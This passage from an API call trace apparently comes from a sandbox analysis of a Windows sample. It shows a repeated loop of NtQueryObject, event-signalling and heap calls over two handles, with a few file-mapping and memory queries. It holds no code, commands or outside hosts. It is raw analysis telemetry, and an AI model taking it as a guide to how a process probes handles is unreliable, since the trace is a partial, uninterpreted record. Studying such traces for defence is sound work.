ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.100] ResetEvent (hEvent=0xe8) returned 1 [0149.100] SetEvent (hEvent=0xec) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.100] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.100] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.100] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.100] ResetEvent (hEvent=0xe8) returned 1 [0149.100] SetEvent (hEvent=0xec) returned 1 [0149.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.101] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.101] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.101] ResetEvent (hEvent=0xe8) returned 1 [0149.101] SetEvent (hEvent=0xec) returned 1 [0149.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.101] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.101] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.101] ResetEvent (hEvent=0xe8) returned 1 [0149.101] SetEvent (hEvent=0xec) returned 1 [0149.101] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.101] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.101] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.101] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.101] ResetEvent (hEvent=0xe8) returned 1 [0149.102] SetEvent (hEvent=0xec) returned 1 [0149.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.102] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.102] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.102] ResetEvent (hEvent=0xe8) returned 1 [0149.102] SetEvent (hEvent=0xec) returned 1 [0149.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.102] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.102] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.102] ResetEvent (hEvent=0xe8) returned 1 [0149.102] SetEvent (hEvent=0xec) returned 1 [0149.102] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.102] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.102] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.102] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.102] ResetEvent (hEvent=0xe8) returned 1 [0149.102] SetEvent (hEvent=0xec) returned 1 [0149.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.103] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.103] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.103] ResetEvent (hEvent=0xe8) returned 1 [0149.103] SetEvent (hEvent=0xec) returned 1 [0149.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.103] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.103] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.103] ResetEvent (hEvent=0xe8) returned 1 [0149.103] SetEvent (hEvent=0xec) returned 1 [0149.103] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.103] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.103] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.103] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.103] ResetEvent (hEvent=0xe8) returned 1 [0149.103] SetEvent (hEvent=0xec) returned 1 [0149.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.189] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.189] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.189] ResetEvent (hEvent=0xe8) returned 1 [0149.189] SetEvent (hEvent=0xec) returned 1 [0149.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.190] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.190] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.190] ResetEvent (hEvent=0xe8) returned 1 [0149.190] SetEvent (hEvent=0xec) returned 1 [0149.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.190] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.190] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.190] ResetEvent (hEvent=0xe8) returned 1 [0149.190] SetEvent (hEvent=0xec) returned 1 [0149.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.190] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.190] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.190] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.190] GetFileType (hFile=0x198) returned 0x3 [0149.190] ResetEvent (hEvent=0xe8) returned 1 [0149.190] SetEvent (hEvent=0xec) returned 1 [0149.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.191] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.191] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.191] GetFileType (hFile=0x198) returned 0x3 [0149.191] ResetEvent (hEvent=0xe8) returned 1 [0149.191] SetEvent (hEvent=0xec) returned 1 [0149.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.191] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.191] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.191] GetFileType (hFile=0x198) returned 0x3 [0149.191] ResetEvent (hEvent=0xe8) returned 1 [0149.191] SetEvent (hEvent=0xec) returned 1 [0149.191] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.191] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.191] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.191] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.191] ResetEvent (hEvent=0xe8) returned 1 [0149.191] SetEvent (hEvent=0xec) returned 1 [0149.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.192] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.192] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.192] ResetEvent (hEvent=0xe8) returned 1 [0149.192] SetEvent (hEvent=0xec) returned 1 [0149.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.192] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.192] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.192] ResetEvent (hEvent=0xe8) returned 1 [0149.192] SetEvent (hEvent=0xec) returned 1 [0149.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.192] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.192] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.192] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.192] ResetEvent (hEvent=0xe8) returned 1 [0149.192] SetEvent (hEvent=0xec) returned 1 [0149.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.193] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.193] ResetEvent (hEvent=0xe8) returned 1 [0149.193] SetEvent (hEvent=0xec) returned 1 [0149.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.193] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.193] GetFileType (hFile=0x198) returned 0x3 [0149.193] ResetEvent (hEvent=0xe8) returned 1 [0149.193] SetEvent (hEvent=0xec) returned 1 [0149.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.193] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.193] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.193] GetFileType (hFile=0x198) returned 0x3 [0149.193] ResetEvent (hEvent=0xe8) returned 1 [0149.193] SetEvent (hEvent=0xec) returned 1 [0149.193] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.193] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.194] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.194] ResetEvent (hEvent=0xe8) returned 1 [0149.194] SetEvent (hEvent=0xec) returned 1 [0149.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.194] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.194] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.194] ResetEvent (hEvent=0xe8) returned 1 [0149.194] SetEvent (hEvent=0xec) returned 1 [0149.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.194] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.194] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.194] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.194] ResetEvent (hEvent=0xe8) returned 1 [0149.194] SetEvent (hEvent=0xec) returned 1 [0149.194] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.195] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.195] ResetEvent (hEvent=0xe8) returned 1 [0149.195] SetEvent (hEvent=0xec) returned 1 [0149.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.195] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.195] ResetEvent (hEvent=0xe8) returned 1 [0149.195] SetEvent (hEvent=0xec) returned 1 [0149.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.195] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.195] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.195] ResetEvent (hEvent=0xe8) returned 1 [0149.195] SetEvent (hEvent=0xec) returned 1 [0149.195] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.195] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.196] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.196] ResetEvent (hEvent=0xe8) returned 1 [0149.196] SetEvent (hEvent=0xec) returned 1 [0149.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.196] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.196] ResetEvent (hEvent=0xe8) returned 1 [0149.196] SetEvent (hEvent=0xec) returned 1 [0149.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.196] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.196] ResetEvent (hEvent=0xe8) returned 1 [0149.196] SetEvent (hEvent=0xec) returned 1 [0149.196] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.196] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.196] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.196] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.197] ResetEvent (hEvent=0xe8) returned 1 [0149.197] SetEvent (hEvent=0xec) returned 1 [0149.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.197] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.197] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.197] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.197] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.197] ResetEvent (hEvent=0xe8) returned 1 [0149.197] SetEvent (hEvent=0xec) returned 1 [0149.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.197] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.197] ResetEvent (hEvent=0xe8) returned 1 [0149.197] SetEvent (hEvent=0xec) returned 1 [0149.197] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.197] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.197] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.198] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.198] ResetEvent (hEvent=0xe8) returned 1 [0149.198] SetEvent (hEvent=0xec) returned 1 [0149.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.198] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.198] ResetEvent (hEvent=0xe8) returned 1 [0149.198] SetEvent (hEvent=0xec) returned 1 [0149.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.198] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.198] ResetEvent (hEvent=0xe8) returned 1 [0149.198] SetEvent (hEvent=0xec) returned 1 [0149.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.198] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.198] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.198] ResetEvent (hEvent=0xe8) returned 1 [0149.198] SetEvent (hEvent=0xec) returned 1 [0149.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.199] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.199] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.199] 